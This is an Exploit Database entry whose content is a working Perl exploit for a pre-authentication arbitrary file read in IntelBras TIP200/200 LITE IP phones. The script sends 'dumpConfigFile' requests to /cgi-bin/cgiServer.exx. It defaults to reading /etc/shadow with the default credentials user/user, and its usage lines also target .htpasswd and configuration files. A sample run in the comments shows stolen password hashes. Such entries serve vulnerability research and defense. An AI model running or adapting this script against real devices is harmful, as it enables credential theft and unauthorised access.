



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

# IntelBras TELEFONE IP TIP200/200 LITE 60.61.75.15 - Arbitrary File Read

**EDB-ID:**

47337

**CVE:**

N/A

**EDB Verified:** ✘

**Author:**

[TODOR DONEV](#)

**Type:**

[REMOTE](#)

**Exploit:**  

**Platform:**

[HARDWARE](#)

**Date:**

2019-09-02

**Vulnerable App:**





EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```
#!/usr/bin/perl -w
#
# IntelBras TELEFONE IP TIP200/200 LITE 60.61.75.15 'dumpConfigFile' Pre-Auth Remote Arbitrary File Read
#
# Todor Donev 2019 (c) <todor.donev at gmail.com>
#
# Disclaimer:
# This or previous programs are for Educational purpose ONLY. Do not use it without permission.
# The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages
# caused by direct or indirect use of the information or functionality provided by these programs.
# The author or any Internet provider bears NO responsibility for content or misuse of these programs
# or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss,
# system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's
# responsibility.
#
# Use them at your own risk!
#
# [test@localhost intelbras]$ perl intelbras_telefone_ip_tip_200_200_lite.pl
#
# # IntelBras TELEFONE IP TIP200/200 LITE 60.61.75.15 'dumpConfigFile' Pre-Auth Remote Arbitrary File Read
# #
=====
# # Author: Todor Donev 2019 (c) <todor.donev at gmail.com>
# #
=====
# # > Authorization => Basic dXNlcjplc2Vy
# # > User-Agent => Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)
# # > Content-Type => application/x-www-form-urlencoded
# # < Accept-Ranges => bytes
# # < Server => SIPPhone
# # < Content-Type => text/html;charset=UTF-8
# # < Expires => -1
# # < Client-Date => Sun, 01 Sep 2019 13:37:00 GMT
# # < Client-Peer => 192.168.1.1
# # < Client-Response-Num => 1
# #
=====
# root:$1$IJZx7biF$BgyHlA/AgR27VSEBALpqn1:11876:0:99999:7:::
# admin:$1$Bwt9zCNI$7rGLYt.wk.axE.6FUNFZe.:11876:0:99999:7:::
# guest:$1$A3lIJ0a0$Is8Ym.J/mpNejleongGft.:11876:0:99999:7:::
#
# #
=====
# [test@localhost intelbras]$
#
# Simple Mode:
# perl intelbras_telefone_ip_tip_200_200_lite.pl | grep -v "^#"
#
use strict;
use v5.10;
use HTTP::Request;
use LWP::UserAgent;
use WWW::UserAgent::Random;

my $host = shift || '';
my $file = shift || '/etc/shadow';
my $user = shift || 'user';
```



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```

my $pass = shift || 'user';

print "
# IntelBras TELEFONE IP TIP200/200 LITE 60.61.75.15 \'dumpConfigFile\' Pre-
Auth Remote Arbitrary File Read
#
=====
# Author: Todor Donev 2019 (c) <todor.donev at gmail.com>
";
if ($host !~ m/^http/){
print "# e.g. perl $0 https://target:port/ /etc/shadow user user
# e.g. perl $0 https://target:port/ /phone/factory/user.ini user user
# e.g. perl $0 https://target:port/ /phone/config/WebItemsLevel.cfg user
user
# e.g. perl $0 https://target:port/ /phone/config/.htpasswd user user
";
exit;
}

my $user_agent = rand_ua("browsers");
my $browser = LWP::UserAgent->new(
                                protocols_allowed => ['http',
                                'https'],
                                ssl_opts => { verify_hostname => 0
}
);

    $browser->timeout(10);
    $browser->agent($user_agent);
my $payload = $host."/cgi-bin/cgiServer.exx?
command=dumpConfigFile(\"$file\")";
my $request = HTTP::Request->new (GET => $payload,[ Content_Type =>
"application/x-www-form-urlencoded"], " ");
$request->authorization_basic($user, $pass);
print "#
=====
my $response = $browser->request($request);
say "# > $_ => ", $request->header($_) for $request->header_field_names;
say "# < $_ => ", $response->header($_) for $response-
>header_field_names;
print "# 401 Unauthorized! Wrong Username or Password!\n" and exit if
($response->code eq '401');
print "#
=====

if ($response->content =~ m/$file/g){

    my $content = $response->content;
    $content =~ s/$file//g;
    $content =~ s/^\n+//;
    print $content;
    print "\n#
=====

    exit;

} else {

    print "# Exploit failed or full path is wrong..\n";
    exit;

}

```

Tags:

Advisory/Source: [Link](#)

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#) ©

[OffSec Services Limited](#) 2026. All rights reserved.